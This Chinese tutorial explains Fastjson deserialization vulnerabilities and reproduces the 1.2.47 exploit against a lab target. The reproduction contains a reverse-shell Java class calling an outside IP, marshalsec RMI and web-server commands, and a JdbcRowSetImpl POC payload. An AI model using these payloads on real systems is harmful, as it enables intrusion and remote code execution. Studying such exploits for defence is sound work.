文章目录
一、什么是json?
json全称是JavaScript object notation。即JavaScript对象标记法,使用键值对进行信息的存储。
举个简单的例子如下:
{
"name":"BossFrank",
"age":23,
"media":["CSDN","bilibili","Github"]
}
json本质就是一种字符串,用于信息的存储和交换。
二、Fastjson介绍
------ Fastjson 是一个阿里巴巴公司开源的 Java 语言编写的高性能功能完善的 JSON 库。可以将Java 对象转换为 JSON 格式(序列化),当然它也可以将 JSON 字符串转换为 Java 对象(反序列化)。
------ 它采用一种“假定有序快速匹配”的算法,把 JSON Parse 的性能提升到极致,是目前 Java 语言中最快的 JSON 库,并且它不依赖于其它任何库。Fastjson已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。
- 特点如下:
1)能够支持将java bean序列化成JSON字符串,也能够将JSON字符串反序列化成Java bean。
2)顾名思义,fastjson操作 JSON的速度是非常快的。
3)无其他包的依赖。
4)使用比较方便。
三、Fastjson-历史漏洞
Fastjson <=1.2.24 反序列化远程命令执行漏洞
Fastjson <=1.2.41 反序列化远程命令执行漏洞
Fastjson <=1.2.42 反序列化远程命令执行漏洞
Fastjson <=1.2.43 反序列化远程命令执行漏洞
Fastjson <=1.2.45 反序列化远程命令执行漏洞
Fastjson <=1.2.47 反序列化远程命令执行漏洞
Fastjson <=1.2.62 反序列化远程命令执行漏洞
Fastjson <=1.2.66 反序列化远程命令执行漏洞
四、Fastjson特征
1、在请求包里面有json格式的
在请求包里面有json格式的,就极有可能使用了Fastjson,如下图
fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现json格式的地方就有可能使用了
2、报错信息中会显示fastjson字眼
将请求方式改成post请求,再将content-type 请求头修改为application/json 后发送,让其报错,报错信息中会显示fastjson字眼的。
五、Fastjson序列化和反序列化
- 假设Apple对象的price为0.5,序列化为json格式后为:
{“Fruit”:{“price”:0.5}} - 假设iphone对象的price为5000,序列化为json格式后为:
{“Fruit”:{“price”:5000}}
------ 当一个类只有一个接口的时候,将这个类的对象序列化的时候,就会将子类抹去(apple/iphone)只保留接口的类型(Fruit),最后导致反序列化时无法得到原始类型。本例中,将两个json再反序列化生成java对象的时候,无法区分原始类是apple还是iphone。
------ 为了解决上述问题: fastjson引入了基于属性(AutoType),即在序列化的时候,先把原始类型记录下来,使用@type
的键记录原始类型。
------ 在本例中,
- 引入AutoType后,Apple类对象序列化为json格式后为:
{ “fruit”:{ “@type”:“com.hollis.lab.fastjson.test.Apple”, “price”:0.5 } } - 引入AutoType后,iphone类对象序列化为json格式后为:
{ “fruit”:{ “@type”:“com.hollis.lab.fastjson.test.iphone”, “price”:5000 } }
------ 这样在反序列化的时候就可以区分原始的类了。
------ 使用AutoType功能进行序列化的JSON字符会带有一个@type来标记其字符的原始类型,在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,并且会调用这个库的setter或者getter方法,然而,@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。
六、Fastjson反序列化漏洞原理
------ FastJSON在反序列化时,可能会将目标类的构造函数、getter方法、setter方法、is方法执行一遍,如果此时这四个方法中有危险操作,则会导致反序列化漏洞,也就是说攻击者传入的序列化数据中需要目标类的这些方法中要存在漏洞才能触发。
------ 攻击者准备rmi服务
和web服务
,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE。
七、Fastjson反序列化漏洞过程
常见的有sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl,其中有个dataSourceName方法支持传入一个rmi的源
,只要解析其中的url就会支持远程调用!
- 攻击者(我们)访问存在fastjson漏洞的目标靶机网站,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。
- 存在漏洞的靶机对json反序列化时候,会加载执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行的命令。也就是靶机服务器问rmi服务器,(靶机服务器)需要执行什么命令啊?
- rmi 服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用的代码编译得到.class文件,并上传至恶意站点),得到攻击者(我们)构造好的命令(ping dnslog或者创建文件或者反弹shell啥的)
- rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。
- 靶机服务器执行了恶意代码,被攻击者成功利用。
- 攻击流程:制作反弹EXP -> 开启HTTP服务 -> 启动LDAP服务 -> 监听EXP中端口 -> 执行Payload
八、Fastjson反序列化漏洞(1.2.47)手工复现
1、DNSlog验证漏洞是否存在
获取一个临时域名
构造POC发送
返回DNSlog查看
2、编译class恶意文件
首先存在一个Exp.java的恶意文件,需要将其编译成class文件
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/119.91.209.244/9090 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
然后使用javac编译成Exp.class,命令是:javac Exp.java
3、在恶意文件所在的目录开启web服务
使用python开启web服务,端口是9100
python3 -m http.server 9100
或
python -m SimpleHTTPServer 9100
4、在恶意文件所在的目录开启rmi服务
- 利用工具:marshalsec-0.0.3-SNAPSHOT-all.jar
命令是:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://119.91.209.244:9100/#Exp" 9299
5、监听反弹shell的端口
这里的端口是恶意文件里面写的反弹端口,这里就是9090
6、返回前端,构造POC让受害者访问rmi的端口
1.2.47的POC:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.179.128:9999/TouchFile",
"autoCommit":true
}
}
这里就成功反弹shell了。
7、总结
------ Fastjson反弹shell操作和Log4j2反弹shell的操作类似,都是第2、3、4、5步都是在攻击者端操作,只有第6步是在普通前端操作。只不过一个开启的是ldap服务,另一个开启的是rmi服务。
------ 上面第6步使用的POC是对应1.2.47版本的POC,不同版本的POC是不同的。